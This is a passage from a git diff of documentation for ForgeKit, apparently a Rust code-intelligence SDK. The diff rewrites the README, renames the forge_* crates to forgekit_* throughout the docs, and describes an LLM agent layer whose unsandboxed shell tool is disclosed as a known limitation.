forge.graph().impact_analysis("process_request", Some(2)).await?; ``` -## Workspace Structure - -| Crate | Purpose | Documentation | -|-------|---------|---------------| -| `forge_core` | Core SDK with graph, search, CFG, and edit APIs | [API Docs](docs/API.md) | -| `forge_runtime` | Indexing, caching, and file watching | [Architecture](docs/ARCHITECTURE.md) | -| `forge_agent` | Workflow orchestration and agent loop | [Manual](docs/MANUAL.md) | +### Search -## Backend Comparison +```rust +let search = forge.search(); +let results = search.pattern("fn.*test.*\\(").await?; +let semantic = search.semantic("authentication logic").await?; +``` -| Feature | SQLite | Native V3 | -|---------|--------|-----------| -| ACID Transactions | βœ… Full | βœ… WAL-based | -| Raw SQL Access | βœ… Yes | ❌ No | -| Dependencies | libsqlite3 | Pure Rust | -| Performance | Fast | **10-20x faster** | -| Tool Compatibility | All tools | All tools (v2.0.5+) | +### Control Flow Analysis -**Recommendation:** Use Native V3 for new projects. Use SQLite if you need raw SQL access. +```rust +let cfg = forge.cfg(); +let doms = cfg.dominators(symbol_id).await?; +let loops = cfg.loops(symbol_id).await?; +let paths = cfg.paths(symbol_id).max_length(10).execute().await?; +``` -## Working Examples +### Analysis -### Impact Analysis +```rust +let analysis = forge.analysis(); +let dead = analysis.find_dead_code().await?; +let metrics = analysis.analyze_source_complexity(source_code); +println!("Complexity: {} ({:?})", metrics.cyclomatic_complexity, metrics.risk_level()); +``` -Find all symbols that would be affected by changing a function: +### Safe Editing ```rust -let forge = Forge::open("./project").await?; - -// Find all symbols within 2 hops of "process_request" -let impacted = forge.graph() - .impact_analysis("process_request", Some(2)) - .await?; - -for symbol in impacted { - println!("{} ({} hops): {}", - symbol.name, - symbol.hop_distance, - symbol.file_path - ); -} +let edit = forge.edit(); +edit.rename_symbol("old_name", "new_name").await?; +edit.delete_symbol(std::path::Path::new("src/lib.rs"), "unused_fn").await?; ``` -### Dead Code Detection +## Agent Layer (`forgekit_agent`) -Find unused functions in your codebase: +### Fixed Pipeline (6-Phase) + +The deterministic agent loop follows Observe β†’ Constrain β†’ Plan β†’ Mutate β†’ Verify β†’ Commit: ```rust -let analysis = forge.analysis(); +use forgekit_agent::Agent; -let dead_code = analysis.find_dead_code().await?; -for symbol in dead_code { - println!("Unused: {} in {}", symbol.name, symbol.location.file); -} +let agent = Agent::new("./project").await?; +let result = agent.run("Add error handling to the parser").await?; +println!("Transaction: {}", result.transaction_id); ``` -### Complexity Analysis +### ReAct Agent (LLM-Driven) -Calculate cyclomatic complexity: +An autonomous reasoning-and-acting loop where the LLM decides which tools to call: ```rust -let analysis = forge.analysis(); +use forgekit_agent::Agent; +use forgekit_agent::chat::{OllamaChatProvider, ChatProvider}; +use forgekit_agent::llm::LlmConfig; -// From source code -let metrics = analysis.analyze_source_complexity(source_code); -println!("Complexity: {} ({})", - metrics.cyclomatic_complexity, - metrics.risk_level().as_str() +let provider = std::sync::Arc::new( + OllamaChatProvider::new("http://localhost:11434".to_string()) ); +let config = LlmConfig::new("qwen3.5-agent:latest".to_string()); + +let agent = Agent::new("./project").await? + .with_chat_provider(provider, config); + +let answer = agent.run_react("Find all callers of process_request and explain the call chain").await?; +println!("{}", answer); ``` -### Control Flow Analysis +The ReAct agent has access to these tools: +- **file_read** β€” Read file contents (paths scoped to codebase, traversal blocked) +- **file_write** β€” Write file contents (creates parent directories) +- **shell_exec** β€” Execute shell commands (30s timeout, unsandboxed) +- **graph_query** β€” Query the code graph when Forge SDK is available -```rust -let cfg = forge.cfg(); +### Graph Query Tool -// Get dominator tree for a function -let dominators = cfg.dominators(symbol_id).await?; +The `graph_query` tool exposes the code graph to the LLM: -// Find loops -let loops = cfg.loops(symbol_id).await?; +| Command | Required Params | Description | +|---------|----------------|-------------| +| `find_symbol` | `name` | Find symbols by name | +| `callers_of` | `name` | Find all callers of a symbol | +| `references` | `name` | Find all cross-file references | +| `cycles` | β€” | Detect call-graph cycles | +| `impact_analysis` | `name`, `max_hops` (optional) | K-hop impact analysis | -// Enumerate paths -let paths = cfg.paths(symbol_id) - .normal_only() - .max_length(10) - .execute() - .await?; -``` +### Chat Providers + +| Provider | Feature Flag | Tool Calling | Streaming | +|----------|-------------|--------------|-----------| +| Ollama | `llm-ollama` | Yes | Token-by-token via NDJSON | +| OpenAI | `llm-openai` | Yes | Token-by-token via SSE | +| Anthropic | `llm-anthropic` | Yes | Token-by-token via SSE | -### Pattern Search +### Workflow Engine + +DAG-based task execution with dependency resolution, parallel execution, checkpointing, compensation-based rollback, cancellation, and timeouts: ```rust -let search = forge.search(); +use forgekit_agent::workflow::{Workflow, WorkflowExecutor}; -// Regex pattern search -let results = search.pattern(r"fn.*test.*\(").await?; +let workflow = Workflow::new() + .add_task(graph_query_task) + .add_task(edit_task.depends_on(&[graph_query_task.id()])); -// Semantic search -let results = search.semantic("authentication logic").await?; +let executor = WorkflowExecutor::new(); +let result = executor.execute(workflow).await?; ``` -## Documentation +### Multi-Agent Coordination (Envoy) -- **[API Reference](docs/API.md)** - Complete API documentation -- **[Architecture](docs/ARCHITECTURE.md)** - System design and internals -- **[Manual](docs/MANUAL.md)** - User guide and tutorials -- **[Contributing](docs/CONTRIBUTING.md)** - Contribution guidelines -- **[Changelog](CHANGELOG.md)** - Version history +When the `envoy` feature is enabled, agents can register with an Envoy service for discovery, handoffs, and knowledge sharing via Atheneum. ## Tool Integrations -ForgeKit integrates with these code intelligence tools: +| Tool | Purpose | Used By | +|------|---------|---------| +| [magellan](https://github.com/oldnordic/magellan) | Code indexing, symbol extraction, call graph | `forgekit_core` graph/search modules | +| [llmgrep](https://github.com/oldnordic/llmgrep) | Semantic and structural code search | `forgekit_core` search module | +| [mirage-analyzer](https://crates.io/crates/mirage-analyzer) | CFG construction, dominance, loops, hotspots | `forgekit_core` CFG module | +| [splice](https://github.com/oldnordic/splice) | Span-safe refactoring, rename, delete | `forgekit_core` edit module | +| [sqlitegraph](https://crates.io/crates/sqlitegraph) | Typed graph storage over SQLite | Storage backend | -| Tool | Purpose | Backend Support | -|------|---------|-----------------| -| [magellan](https://github.com/oldnordic/magellan) | Code indexing and graph queries | SQLite, V3 | -| [llmgrep](https://github.com/oldnordic/llmgrep) | Semantic code search | SQLite, V3 | -| [mirage-analyzer](https://crates.io/crates/mirage-analyzer) | CFG analysis | SQLite, V3 | -| [splice](https://github.com/oldnordic/splice) | Span-safe editing | SQLite, V3 | +## Known Limitations -## License +- **ShellExecTool is unsandboxed** β€” Executes arbitrary `sh -c` with full process privileges. No allowlist, no capability restriction. +- **LlmProviderAdapter cannot support tool calling** β€” The legacy `LlmProvider` trait accepts only a flat prompt string. Use a native `ChatProvider` for agent workflows. +- **Graph queries require a populated database** β€” If no magellan database exists or the codebase hasn't been indexed, graph methods return empty results. `Forge::open()` auto-indexes on first use when the graph is empty. -This project is licensed under the GPL-3.0 License - see the [LICENSE](LICENSE) file for details. +### What works -## Support +- **Deterministic 6-phase agent loop** β€” observe β†’ constrain β†’ plan β†’ mutate β†’ verify β†’ commit, proven end-to-end on real crates (symbol rename, dead-code removal). Verify gates on `cargo check` + `cargo test`. +- **Core SDK** β€” graph queries, search, CFG analysis, safe editing, impact analysis. +- **Chat providers** β€” Ollama, OpenAI, Anthropic with tool-calling and streaming. +- **forgekit-reasoning** β€” temporal checkpointing with SHA-256 integrity. -- Issues: [GitHub Issues](https://github.com/oldnordic/forge/issues) -- Discussions: [GitHub Discussions](https://github.com/oldnordic/forge/discussions) +### What is experimental / unfinished ---- +- **ReAct agent** β€” functional but less battle-tested than the deterministic loop. +- **Workflow engine** β€” DAG execution and rollback work, but edge cases in compensation/cancellation are still being exercised. +- **Envoy/Atheneum integration** β€” optional feature, not enabled by default. +- **Native V3 backend** β€” present but less stable than the SQLite backend. -**Current Version:** 0.4.0 +## Documentation + +- **[API Reference](docs/API.md)** β€” Complete API documentation +- **[Architecture](docs/ARCHITECTURE.md)** β€” System design and internals +- **[Changelog](CHANGELOG.md)** β€” Version history + +## License + +GPL-3.0 β€” see [LICENSE](LICENSE). + +--- -**Status:** The crate has not yet been published to crates.io. APIs may change until v1.0. +**Current Version:** 0.5.0 (unreleased) -**Compiler Warnings:** The project uses sqlitegraph 2.0.8 which has 61 intentional dead code warnings. These are kept for API completeness, feature-gated functionality, and future use - they do not indicate bugs or incomplete code. +**Status:** Not published to crates.io. APIs may change until v1.0. diff --git a/SPLICE_INTEGRATION.md b/SPLICE_INTEGRATION.md deleted file mode 100644 index d4c78f0..0000000 --- a/SPLICE_INTEGRATION.md +++ /dev/null @@ -1,130 +0,0 @@ -# Splice Integration Summary - -## What's New - -Splice tools are now **native kimi-cli tools** - no MCP, no external integrations. They work like `file_read` and `file_edit` - always available, attention-persistent. - -## New Tools Added - -| Tool | Purpose | Key Feature | -|------|---------|-------------| -| `SplicePatch` | Replace symbol body | LSP-verified, span-safe | -| `SpliceDelete` | Delete symbol | Removes entire definition safely | -| `SpliceRename` | Rename symbol | Updates all references | -| `SpliceUndo` | Rollback operation | Uses backup manifest | -| `SpliceApplyFiles` | Bulk replacement | Pattern matching across files | - -## Complete Workflow - -``` -β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” -β”‚ IndexCodebase │────▢│ FindSymbols │────▢│ FindReferences β”‚ -β”‚ (create db) β”‚ β”‚ (find target) β”‚ β”‚ (check impact) β”‚ -β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ - β”‚ -β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ -β”‚ SpliceUndo │◀────│ SplicePatch β”‚β—€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ -β”‚ (if needed) β”‚ β”‚ dry_run=True β”‚ -β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ - β”‚ - β–Ό - β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” - β”‚ SplicePatch β”‚ - β”‚ dry_run=False β”‚ - β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ - β”‚ - β–Ό - β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” - β”‚ Checkpoint β”‚ - β”‚ (save reasoning) β”‚ - β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ -``` - -## Usage Examples - -### 1. Basic Patch Workflow - -```python -# Step 1: Index the codebase -IndexCodebase(project_path="/home/feanor/Projects/myapp", db_name="myapp") - -# Step 2: Find the symbol to edit -FindSymbols(query="process_request", db_name="myapp") - -# Step 3: Preview the change (ALWAYS do this first!) -SplicePatch( - file_path="src/handlers.rs", - symbol_name="process_request", - new_content="pub fn process_request(req: Request) -> Response { ... }", - db_path="myapp.db", - dry_run=True # <-- Preview only -) - -# Step 4: Apply if preview looks good -SplicePatch( - ..., - dry_run=False # <-- Actually apply -) -``` - -### 2. Safe Rename - -```python -# Rename a function across all files -SpliceRename( - old_name="old_function_name", - new_name="better_name", - file_path="src/lib.rs", - db_path="myapp.db", - dry_run=True # Preview first -) -``` - -### 3. Delete with Safety - -```python -# Check references first! -FindReferences(symbol_name="unused_helper", db_name="myapp") - -# Safe to delete - no references -SpliceDelete( - file_path="src/utils.rs", - symbol_name="unused_helper", - dry_run=True -) -``` - -### 4. Undo Mistakes - -```python -# Oops, that broke something! -SpliceUndo(manifest_path=".splice/backups/backup_2024_...json") -``` - -## Key Principles - -1. **Always dry_run first** - Preview before applying -2. **Check references** - Use FindReferences before Delete/Rename -3. **Use Checkpoints** - Save reasoning state before big changes -4. **Span-safe** - Byte-accurate edits, no line number drift -5. **LSP-verified** - Validates compilation before applying - -## What Makes This Different - -| Traditional Editing | Splice | -|---------------------|--------| -| Line-based | Byte-span based (no drift) | -| Apply then verify | Verify then apply | -| Manual find-replace | Precise symbol references | -| Hard to undo | Backup manifests for rollback | -| Hope it compiles | LSP validation before apply | - -## Integration Files Modified - -- `/home/feanor/Projects/kimi-cli/src/kimi_cli/tools/forge/splice_tools.py` - New tools -- `/home/feanor/Projects/kimi-cli/src/kimi_cli/tools/forge/__init__.py` - Exports -- `/home/feanor/Projects/kimi-cli/src/kimi_cli/agents/default/agent.yaml` - Tool registration - -## Restart Required - -The tools are registered but kimi-cli needs a restart to load them. After restart, they're native tools - no cognitive overhead, always available. diff --git a/STATE.md b/STATE.md deleted file mode 100644 index d45db38..0000000 --- a/STATE.md +++ /dev/null @@ -1,60 +0,0 @@ -# ForgeKit Project State - -**Project**: ForgeKit -**Version**: 0.1.0 -**Last Updated**: 2026-02-12T15:00:00Z - ---- - -## Current Phase - -**Active Phase**: Phase 2 - Runtime Layer -**Phase Status**: Planning -**Completion**: 100% - ---- - -## Phase History - -| Phase | Name | Status | Completion | Dates | -|-------|-------|--------|------------| -| 01 | Core SDK Foundation | βœ… Complete | 100% | 2026-02-12 – 2026-02-12 | -| 02 | Runtime Layer | πŸ”„ Planning | 0% | 2026-02-12 – Present | -| 03 | Agent Layer | πŸ“‹ Planned | 0% | β€” | -| 04 | Tooling Layer | πŸ“‹ Planned | 0% | β€” | - ---- - -## Overall Progress: 25% - -- **Phase 1**: Core SDK Foundation βœ… COMPLETE -- Storage Layer: SQLiteGraph integration -- Graph Module: Symbol/reference queries, BFS/DFS -- Search Module: SQL filter builder -- CFG Module: Dominators, loops -- Edit Module: Verify/preview/apply/rollback -- Analysis Module: Impact radius, unused functions -- Test Infrastructure: 38 unit tests passing -- Documentation: All modules documented - -**Phase 2**: Runtime Layer πŸ”„ IN PLANNING -- Task breakdown in `.planning/phases/02-core-sdk/PLAN.md` -- Estimated: 2 weeks -- Target: File watching, incremental indexing, query caching, connection pooling - -**Phase 3**: Agent Layer πŸ“‹ PLANNED -- Deterministic AI loop -- Policy system - -**Phase 4**: Tooling Layer πŸ“‹ PLANNED -- CLI, bindings, language servers - ---- - -## Recent Activity - -### 2026-02-12 -- **Phase 1 Complete**: All 8 tasks implemented, 38 tests passing -- Final commit: `df99ce3` -- TRACKING.md updated to reflect completion -- Phase 2 plan created in `.planning/phases/02-core-sdk/PLAN.md` diff --git a/docs/API.md b/docs/API.md index 47f27e0..062502c 100644 --- a/docs/API.md +++ b/docs/API.md @@ -623,9 +623,9 @@ pub fn backend_kind(&self) -> BackendKind pub fn is_connected(&self) -> bool ``` -## Workflow Module (forge_agent) +## Workflow Module (forgekit_agent) -The workflow module provides DAG-based task orchestration with rollback, checkpointing, and audit logging. Available via `forge_agent::workflow`. +The workflow module provides DAG-based task orchestration with rollback, checkpointing, and audit logging. Available via `forgekit_agent::workflow`. ### Core Types @@ -859,7 +859,7 @@ pub enum ForgeError { ### Example Error Handling ```rust -use forge_core::{Forge, ForgeError}; +use forgekit_core::{Forge, ForgeError}; match forge.graph().find_symbol("main").await { Ok(symbols) => println!("Found {} symbols", symbols.len()), diff --git a/docs/ARCHITECTURE.md b/docs/ARCHITECTURE.md index fcbb946..b9348ef 100644 --- a/docs/ARCHITECTURE.md +++ b/docs/ARCHITECTURE.md @@ -30,7 +30,7 @@ ForgeKit is a code intelligence SDK that unifies multiple tools (magellan, llmgr β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ ForgeKit β”‚ β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ -β”‚ β”‚ forge_core β”‚ β”‚forge_runtimeβ”‚ β”‚ forge_agent β”‚ β”‚ +β”‚ β”‚ forgekit_core β”‚ β”‚forgekit_runtimeβ”‚ β”‚ forgekit_agent β”‚ β”‚ β”‚ β”‚ (Core SDK) β”‚ β”‚(Indexing) β”‚ β”‚ (AI Agent Loop) β”‚ β”‚ β”‚ β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ @@ -64,12 +64,12 @@ ForgeKit is a code intelligence SDK that unifies multiple tools (magellan, llmgr ## Crate Organization -### forge_core +### forgekit_core Core SDK providing the main API. ``` -forge_core/src/ +forgekit_core/src/ β”œβ”€β”€ lib.rs # Main Forge type, re-exports β”œβ”€β”€ types.rs # Core types (Symbol, Location, etc.) β”œβ”€β”€ error.rs # Error types @@ -87,21 +87,21 @@ forge_core/src/ └── mod.rs # AnalysisModule ``` -### forge_runtime +### forgekit_runtime Runtime layer for indexing and caching. ``` -forge_runtime/src/ +forgekit_runtime/src/ └── lib.rs # ForgeRuntime, indexing, caching ``` -### forge_agent +### forgekit_agent AI agent layer for deterministic code operations. ``` -forge_agent/src/ +forgekit_agent/src/ β”œβ”€β”€ lib.rs # Agent types β”œβ”€β”€ planner.rs # Plan generation β”œβ”€β”€ mutate.rs # Mutation operations @@ -349,7 +349,7 @@ Dependencies are resolved as: ### Test Organization ``` -forge_core/tests/ +forgekit_core/tests/ β”œβ”€β”€ accessor_tests.rs # Module accessors β”œβ”€β”€ builder_tests.rs # Builder pattern β”œβ”€β”€ pubsub_integration_tests.rs # Pub/Sub + backends diff --git a/docs/CONTRIBUTING.md b/docs/CONTRIBUTING.md index 8fea18c..0f42741 100644 --- a/docs/CONTRIBUTING.md +++ b/docs/CONTRIBUTING.md @@ -192,8 +192,8 @@ mod tests { ### Test Fixtures Place shared test utilities in: -- `forge_core/tests/fixtures/` for test data -- `forge_core/tests/common/mod.rs` for utilities +- `forgekit_core/tests/fixtures/` for test data +- `forgekit_core/tests/common/mod.rs` for utilities ### Running Tests @@ -202,7 +202,7 @@ Place shared test utilities in: cargo test --workspace # Specific member -cargo test -p forge_core +cargo test -p forgekit_core # Specific test cargo test test_find_symbol diff --git a/docs/DEBUGGING.md b/docs/DEBUGGING.md index b8e97d6..875f550 100644 --- a/docs/DEBUGGING.md +++ b/docs/DEBUGGING.md @@ -51,10 +51,10 @@ RUST_LOG=debug cargo run RUST_LOG=trace cargo run # Specific crate -RUST_LOG=forge_core=debug cargo run +RUST_LOG=forgekit_core=debug cargo run # Multiple crates -RUST_LOG=forge_core=debug,forge_runtime=info cargo run +RUST_LOG=forgekit_core=debug,forgekit_runtime=info cargo run ``` ### Tracing Subscriber @@ -107,7 +107,7 @@ rustup component add rust-gdb rust-gdb --args cargo test test_name -- --exact # In GDB: -(gdb) break forge_core::Forge::open +(gdb) break forgekit_core::Forge::open (gdb) run (gdb) next (gdb) print path @@ -142,7 +142,7 @@ rust-lldb -- cargo test test_name -- --exact "cargo": { "args": ["test", "--no-run", "--lib"], "filter": { - "name": "forge_core", + "name": "forgekit_core", "kind": "lib" } }, @@ -189,7 +189,7 @@ SELECT COUNT(*) FROM nodes; #### Debug Connection Issues ```rust -use forge_core::{Forge, BackendKind}; +use forgekit_core::{Forge, BackendKind}; #[tokio::main] async fn main() { @@ -226,7 +226,7 @@ cat .forge/graph.v3 | head -c 6 #### Enable V3 Debug Logging ```rust -use forge_core::{Forge, BackendKind}; +use forgekit_core::{Forge, BackendKind}; let forge = Forge::open_with_backend("./project", BackendKind::NativeV3) .await @@ -521,7 +521,7 @@ fn inspect_v3_file(path: &Path) -> std::io::Result<()> { ``` 4. Enable backend tracing: ```bash - RUST_LOG=forge_core=trace,sqlitegraph=debug cargo run + RUST_LOG=forgekit_core=trace,sqlitegraph=debug cargo run ``` ### Scenario 5: Feature Flag Issues @@ -531,15 +531,15 @@ fn inspect_v3_file(path: &Path) -> std::io::Result<()> { **Debug Steps:** 1. Check available features: ```bash - cargo metadata --format-version 1 | jq '.packages[] | select(.name == "forge_core") | .features' + cargo metadata --format-version 1 | jq '.packages[] | select(.name == "forgekit_core") | .features' ``` 2. Test minimal features: ```bash - cargo check -p forge_core --no-default-features --features sqlite + cargo check -p forgekit_core --no-default-features --features sqlite ``` 3. Build with specific features: ```bash - cargo build -p forge_core --features "magellan-v3,llmgrep-sqlite" + cargo build -p forgekit_core --features "magellan-v3,llmgrep-sqlite" ``` ## Debugging Tools diff --git a/docs/DEVELOPERS.md b/docs/DEVELOPERS.md index 706ed06..2a59b15 100644 --- a/docs/DEVELOPERS.md +++ b/docs/DEVELOPERS.md @@ -51,7 +51,7 @@ cargo build --workspace cargo build --workspace --all-features # Build specific crate -cargo build -p forge_core +cargo build -p forgekit_core ``` ### Testing @@ -116,7 +116,7 @@ forge/ β”‚ β”œβ”€β”€ DEVELOPMENT_WORKFLOW.md # Workflow β”‚ β”œβ”€β”€ PHILOSOPHY.md # Design principles β”‚ └── ROADMAP.md # Future plans -β”œβ”€β”€ forge_core/ +β”œβ”€β”€ forgekit_core/ β”‚ β”œβ”€β”€ Cargo.toml β”‚ β”œβ”€β”€ src/ β”‚ β”‚ β”œβ”€β”€ lib.rs # Main SDK @@ -129,9 +129,9 @@ forge/ β”‚ β”‚ β”œβ”€β”€ edit/ # Edit module β”‚ β”‚ └── analysis/ # Analysis module β”‚ └── tests/ # Integration tests -β”œβ”€β”€ forge_runtime/ +β”œβ”€β”€ forgekit_runtime/ β”‚ └── src/lib.rs # Runtime layer -└── forge_agent/ +└── forgekit_agent/ └── src/ # Agent layer ``` @@ -219,7 +219,7 @@ See [TESTING.md](TESTING.md) for comprehensive testing guide. ```bash RUST_LOG=debug cargo run -RUST_LOG=forge_core=trace cargo test +RUST_LOG=forgekit_core=trace cargo test ``` ### GDB/LLDB diff --git a/docs/DEVELOPMENT_WORKFLOW.md b/docs/DEVELOPMENT_WORKFLOW.md index def8ef3..053342e 100644 --- a/docs/DEVELOPMENT_WORKFLOW.md +++ b/docs/DEVELOPMENT_WORKFLOW.md @@ -83,10 +83,10 @@ sqlite3 .forge/graph.db "PRAGMA table_info(graph_entities);" ```bash # Use Read tool, NOT cat -Read /home/feanor/Projects/forge/forge_core/src/graph/mod.rs +Read /home/feanor/Projects/forge/forgekit_core/src/graph/mod.rs # Get specific line range -Read /home/feanor/Projects/forge/forge_core/src/graph/mod.rs:100-200 +Read /home/feanor/Projects/forge/forgekit_core/src/graph/mod.rs:100-200 ``` ### Check Existing Tools @@ -240,7 +240,7 @@ test result: ok. 1 passed; 0 failed; 0 ignored ```bash $ cargo check - Checking forge_core v0.1.0 + Checking forgekit_core v0.1.0 Finished `dev` profile ``` @@ -259,9 +259,9 @@ ForgeKit follows strict file size limits: | Component | Limit | Rationale | |------------|--------|------------| -| forge_core modules | 300 LOC | Maintainability | -| forge_runtime modules | 300 LOC | Single responsibility | -| forge_agent modules | 300 LOC | Focused behavior | +| forgekit_core modules | 300 LOC | Maintainability | +| forgekit_runtime modules | 300 LOC | Single responsibility | +| forgekit_agent modules | 300 LOC | Focused behavior | | Tests | 500 LOC | Comprehensive coverage | **When to exceed:** @@ -334,13 +334,13 @@ splice --db .forge/graph.db delete --file src/lib.rs --symbol symbol_name cargo build # Build specific member -cargo build -p forge_core +cargo build -p forgekit_core # Run tests cargo test # Run tests for specific member -cargo test -p forge_core +cargo test -p forgekit_core # Check compilation (faster than build) cargo check diff --git a/docs/MANUAL.md b/docs/MANUAL.md index 75eab7d..f8bfe98 100644 --- a/docs/MANUAL.md +++ b/docs/MANUAL.md @@ -2,6 +2,10 @@ Complete guide to using ForgeKit for code intelligence operations. +> **Alpha software β€” work in progress.** This manual documents the current +> state of ForgeKit, which is functional but not yet stable. APIs may change +> before v1.0. + ## Table of Contents 1. [Getting Started](#getting-started) @@ -23,7 +27,7 @@ Add ForgeKit to your `Cargo.toml`: ```toml [dependencies] -forge-core = "0.4" +forgekit-core = "0.3" tokio = { version = "1", features = ["full"] } anyhow = "1" ``` @@ -31,7 +35,7 @@ anyhow = "1" ### Opening a Codebase ```rust -use forge_core::{Forge, BackendKind}; +use forgekit_core::{Forge, BackendKind}; #[tokio::main] async fn main() -> anyhow::Result<()> { @@ -68,7 +72,7 @@ my-project/ Detect unused functions in your codebase: ```rust -use forge_core::Forge; +use forgekit_core::Forge; #[tokio::main] async fn main() -> anyhow::Result<()> { @@ -99,7 +103,7 @@ async fn main() -> anyhow::Result<()> { Find what would break if you change a function: ```rust -use forge_core::Forge; +use forgekit_core::Forge; #[tokio::main] async fn main() -> anyhow::Result<()> { @@ -131,7 +135,7 @@ async fn main() -> anyhow::Result<()> { Find all functions that call a specific function: ```rust -use forge_core::Forge; +use forgekit_core::Forge; #[tokio::main] async fn main() -> anyhow::Result<()> { @@ -157,7 +161,7 @@ async fn main() -> anyhow::Result<()> { Calculate cyclomatic complexity of source code: ```rust -use forge_core::Forge; +use forgekit_core::Forge; #[tokio::main] async fn main() -> anyhow::Result<()> { @@ -201,7 +205,7 @@ async fn main() -> anyhow::Result<()> { Search for code patterns using regex: ```rust -use forge_core::Forge; +use forgekit_core::Forge; #[tokio::main] async fn main() -> anyhow::Result<()> { @@ -217,7 +221,7 @@ async fn main() -> anyhow::Result<()> { // Find all structs let structs = forge.search().symbols_by_kind( - forge_core::types::SymbolKind::Struct + forgekit_core::types::SymbolKind::Struct ).await?; println!("Found {} structs", structs.len()); @@ -230,7 +234,7 @@ async fn main() -> anyhow::Result<()> { Analyze dependencies between modules: ```rust -use forge_core::Forge; +use forgekit_core::Forge; #[tokio::main] async fn main() -> anyhow::Result<()> { @@ -263,7 +267,7 @@ async fn main() -> anyhow::Result<()> { Analyze control flow of functions: ```rust -use forge_core::Forge; +use forgekit_core::Forge; #[tokio::main] async fn main() -> anyhow::Result<()> { @@ -299,8 +303,8 @@ async fn main() -> anyhow::Result<()> { Use the EditOperation trait for safe, validated code transformations: ```rust -use forge_core::Forge; -use forge_core::analysis::edit_operation::{InsertOperation, DeleteOperation, RenameOperation}; +use forgekit_core::Forge; +use forgekit_core::analysis::edit_operation::{InsertOperation, DeleteOperation, RenameOperation}; #[tokio::main] async fn main() -> anyhow::Result<()> { @@ -333,8 +337,8 @@ async fn main() -> anyhow::Result<()> { Rename symbol across the codebase: ```rust -use forge_core::Forge; -use forge_core::analysis::edit_operation::RenameOperation; +use forgekit_core::Forge; +use forgekit_core::analysis::edit_operation::RenameOperation; #[tokio::main] async fn main() -> anyhow::Result<()> { @@ -350,12 +354,12 @@ async fn main() -> anyhow::Result<()> { // Verify the rename is safe let result = rename.verify(&analysis).await?; match result { - forge_core::analysis::edit_operation::ApplyResult::Applied => { + forgekit_core::analysis::edit_operation::ApplyResult::Applied => { // Apply the rename rename.apply(&mut analysis).await?; println!("Rename successful!"); } - forge_core::analysis::edit_operation::ApplyResult::AlwaysError => { + forgekit_core::analysis::edit_operation::ApplyResult::AlwaysError => { println!("Cannot rename this symbol"); } _ => {} @@ -499,8 +503,8 @@ let functions = forge.search() For unit testing, you can construct CFGs programmatically: ```rust -use forge_core::cfg::TestCfg; -use forge_core::types::BlockId; +use forgekit_core::cfg::TestCfg; +use forgekit_core::types::BlockId; // Create a simple chain let cfg = TestCfg::chain(0, 5); // 0 -> 1 -> 2 -> 3 -> 4 @@ -519,12 +523,12 @@ let paths = cfg.enumerate_paths(); ## Workflow Orchestration -The `forge_agent::workflow` module provides DAG-based task orchestration with rollback, checkpointing, and audit logging. +The `forgekit_agent::workflow` module provides DAG-based task orchestration with rollback, checkpointing, and audit logging. ### Example 9: Basic Workflow ```rust -use forge_agent::workflow::{Workflow, WorkflowExecutor, WorkflowTask, TaskContext, TaskResult}; +use forgekit_agent::workflow::{Workflow, WorkflowExecutor, WorkflowTask, TaskContext, TaskResult}; use async_trait::async_trait; // Define a task @@ -557,7 +561,7 @@ println!("Completed {} tasks", result.completed_tasks.len()); ### Example 10: Workflow with Rollback ```rust -use forge_agent::workflow::rollback::RollbackStrategy; +use forgekit_agent::workflow::rollback::RollbackStrategy; let executor = WorkflowExecutor::new(workflow) .with_rollback_strategy(RollbackStrategy::AllDependent); @@ -574,7 +578,7 @@ if 